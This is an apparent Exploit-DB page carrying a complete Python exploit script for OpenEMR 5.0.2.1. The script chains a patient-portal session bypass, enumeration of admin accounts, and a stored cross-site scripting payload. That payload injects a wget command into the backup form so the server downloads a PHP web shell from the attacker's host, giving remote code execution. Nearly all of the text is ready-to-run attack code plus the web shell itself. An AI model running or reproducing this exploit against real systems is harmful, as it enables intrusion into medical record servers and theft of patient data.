OpenEMR 5.0.2.1 – Remote Code Execution

  • 作者: Hato0
    日期: 2021-04-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49784/
  • # Exploit Title: OpenEMR 5.0.2.1 - Remote Code Execution
    # Exploit Author: Hato0, BvThTrd
    # Date: 2020-08-07
    # Vendor Homepage: https://www.open-emr.org/
    # Software Link: https://sourceforge.net/projects/openemr/files/OpenEMR%20Current/5.0.2.1/openemr-5.0.2.tar.gz/download
    # Version: 5.0.2.1 (without patches)
    # Tested on: Ubuntu Server 20.04.1 LTS, OpenEMR Version 5.0.2.1
    # References:
    # https://blog.sonarsource.com/openemr-5-0-2-1-command-injection-vulnerability?utm_medium=cpc&utm_source=twitter&utm_campaign=openemr&utm_term=security&utm_content=tofu
    # https://www.youtube.com/watch?v=H8VWNwWgYJo&feature=emb_logo
    
    #!/usr/bin/python3
    
    WARNING='''
    
    
    ===================================== WARNING =====================================
    Please do not use for illegal purposes. It's for educational use only. 
    Please be on the good side.
    ===================================================================================
    
    
    '''
    
    import argparse
    import http.server
    import socketserver
    import requests
    from termcolor import colored
    import json
    
    OPENEMR_DIR = ""
    RHOST = "127.0.0.1"
    RPORT = 80
    VHOST = ""
    LHOST = "127.0.0.1"
    LPORT = 4444
    WPORT = 8080
    
    def main():
    print(colored(WARNING, "red"))
    arguments()
    cookie1, cookie2 = init_session() 
    jsonReceived, id = get_api(cookie1["OpenEMR"], cookie2["PortalOpenEMR"])
    write_payload_js()
    write_wshell()
    send_xss(id,cookie1["OpenEMR"], cookie2["PortalOpenEMR"], jsonReceived)	
    if len(VHOST) > 0 :
    print(colored("[+]", "green"),f'Your wshell is available at http://{VHOST}/{OPENEMR_DIR}interface/main/wshell.php?cmd=')
    else:
    print(colored("[+]", "green"),f'Your wshell is available at http://{RHOST}:{RPORT}/{OPENEMR_DIR}interface/main/wshell.php?cmd=')
    web_serv()
    
    def arguments():
    parser = argparse.ArgumentParser(description='This exploit drop a web shell on an OpenEMR v5.0.2.1 CMS. At the end, GET the URL and run a netcat listener on the LHOST:LHPORT. You will be able to do a Remote Code Execution on this server.')
    parser.add_argument("-d", "--directory", dest='directory', nargs='?', help="Root directory OpenEMR CMS")
    parser.add_argument("-rh", "--rhost", dest='rhost', help="Remote server IP", required=True)
    parser.add_argument("-rp", "--rport", dest='rport', nargs='?', help="Remote server PORT", type=int)
    parser.add_argument("-vh", "--vhost", dest='vhost', nargs='?', help="Remote server DOMAIN_NAME")
    parser.add_argument("-lh", "--lhost", dest='lhost', help="Reverse shell IP", required=True)
    parser.add_argument("-lp", "--lport", dest='lport', help="Reverse shell PORT", type=int, required=True)
    parser.add_argument("-wp", "--wport", dest='wport', nargs='?', help="Web Server PORT", type=int)
    
    args = parser.parse_args()
    
    if(args.directory != None):
    global OPENEMR_DIR
    OPENEMR_DIR = str(args.directory)
    if OPENEMR_DIR[-1] != "/":
    OPENEMR_DIR += "/"
    if(args.rhost != None):
    global RHOST
    RHOST =str(args.rhost)
    if(args.rport != None):
    global RPORT 
    RPORT = int(args.rport)
    if(args.vhost != None):
    global VHOST
    VHOST =str(args.vhost)
    if(args.lhost != None):
    global LHOST 
    LHOST = str(args.lhost)
    if(args.lport != None):
    global LPORT 
    LPORT = int(args.lport)
    if(args.wport != None):
    global WPORT 
    WPORT = int(args.wport)
    
    def init_session():
    	r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}interface/login/login.php?site=default', headers={'host': VHOST})			
    
    	if (r.status_code != 200):
    		print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}')
    		exit(1)
    	else:
    		print(colored("[+]", "green"),f'Successfully set Session_Regsiter=true with cookie OpenEMR:{r.cookies["OpenEMR"]}')
    
    	cookies = {"OpenEMR" : r.cookies["OpenEMR"]}
    	r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/account/register.php', headers={'host': VHOST}, cookies=cookies)			
    
    	if (r.status_code != 200):
    		print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}')
    		exit(1)
    	else:
    		print(colored("[+]", "green"),f'Successfully set Session_Regsiter=true with cookie PortalOpenEMR:{r.cookies["PortalOpenEMR"]}')
    
    
    	cookies2 = {"PortalOpenEMR": r.cookies["PortalOpenEMR"]}
    	return (cookies, cookies2)
    
    
    def get_api(cookieEMR, cookiePortal):
    	cookies = {"OpenEMR" : cookieEMR, "PortalOpenEMR": cookiePortal}
    
    	r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/patient/api/users/', headers={'host': VHOST}, cookies=cookies)
    
    	parsed_json = (json.loads(r.text))
    	for row in parsed_json['rows']:
    		if row['authorized'] == str(1):
    			print(colored("[+]", "green"),f'Find admin :')
    			print(colored('\t[*]', 'yellow'), f'Id = {row["id"]}')
    			print(colored('\t[*]', 'yellow'), f'Username = {row["username"]}')
    			print(colored('\t[*]', 'yellow'), f'lname = {row["lname"]}')
    			print(colored('\t[*]', 'yellow'), f'fname = {row["fname"]}')
    			id = row['id']
    			json_to_return = row
    	if (r.status_code != 200):
    		print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}')
    		exit(1)
    	else:
    		return (json_to_return, id)
    
    
    def write_payload_js():
    payload = "var xmlHttp = new XMLHttpRequest();\n"
    payload += "var token = window.location.href;\n"
    if len(VHOST) > 0 :
    payload += "var mainUrl = 'http://{0}/{1}interface/main/tabs/main.php?token_main=';\n".format(VHOST, OPENEMR_DIR)
    payload += "var backUrl = 'http://{0}/{1}interface/main/backup.php';\n".format(VHOST,OPENEMR_DIR)
    else:
    payload += "var mainUrl = 'http://{0}:{1}/{2}interface/main/tabs/main.php?token_main=';\n".format(RHOST, RPORT, OPENEMR_DIR)
    payload += "var backUrl = 'http://{0}:{1}/{2}interface/main/backup.php';\n".format(RHOST, RPORT, OPENEMR_DIR)
    payload += "var cookieSet = 'OpenEMR=';\n\n"
    
    payload += "token = token.split('=')[1];\n\n"
    
    payload += "xmlHttp.open( 'GET', backUrl, false );\n"
    payload += "xmlHttp.send(null);\n\n"
    
    payload += "var response = xmlHttp.responseText;\n"
    payload += "var elemHTML = response.split(' ');\n"
    payload += "var csrf = '';\n\n\n"
    
    
    payload += "for(var i=0; i < elemHTML.length; i++)\n"
    payload += "{\n"
    payload += "\tif(elemHTML[i] == 'name=\"csrf_token_form\"')\n"
    payload += "\t{\n"
    payload += "\t\tcsrf = elemHTML[i+1].split('=')[1].replace(/\"/g,'');\n"
    payload += "\t\tbreak;\n"
    payload += "\t}\n"
    payload += "}\n\n\n"
    
    
    payload += "var formData = new FormData();\n\n"
    
    payload += "formData.append('csrf_token_form', csrf);\n"
    payload += "formData.append('form_sel_lists[]', 'amendment_status');\n"
    payload += "formData.append('form_sel_layouts[]', '`wget http://{0}:{1}/wshell.php -O wshell.php;`');\n".format(LHOST,WPORT)
    payload += "formData.append('form_step', '102');\n"
    payload += "formData.append('form_status', '');\n\n"
    
    payload += "var request = new XMLHttpRequest();\n"
    payload += "request.open('POST', backUrl);\n"
    payload += "request.send(formData);\n"
    
    with open('payload.js','w') as fpayload:
    for line in payload:
    fpayload.write(line)
    fpayload.close()
    print(colored("[+]", "green"),f'Payload XSS written')
    
    
    def write_wshell():
    with open('wshell.php','w') as fwshell:
    fwshell.write("<?php system($_GET['cmd']); ?>\n")
    fwshell.close()
    print(colored("[+]", "green"),f'Wshell written')
    
    
    def send_xss(id, cookieEMR, cookiePortal, jsonData):
    	cookies = {"OpenEMR" : cookieEMR, "PortalOpenEMR": cookiePortal}
    	jsonData["lname"] = "<script src='http://{0}:{1}/payload.js'> </script>".format(LHOST,WPORT)
    	jsonData["cpoe"] = 1
    	jsonData["source"] = 1
    	jsonData.pop("id",None)
    	data = json.dumps(jsonData, indent = 4)
    	r = requests.put(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/patient/api/user/{id}', headers={'host': VHOST}, cookies=cookies, data=data)
    	print(colored("[+]", "green"),f'Stored XSS dropped')
    
    
    def web_serv():
    Handler = http.server.SimpleHTTPRequestHandler
    
    with socketserver.TCPServer(("", WPORT), Handler) as httpd:
    print(colored("[+]", "green"),f'HTTP Simple Server running at localhost PORT {WPORT}')
    httpd.serve_forever()
    
    
    if __name__ == "__main__":
    main()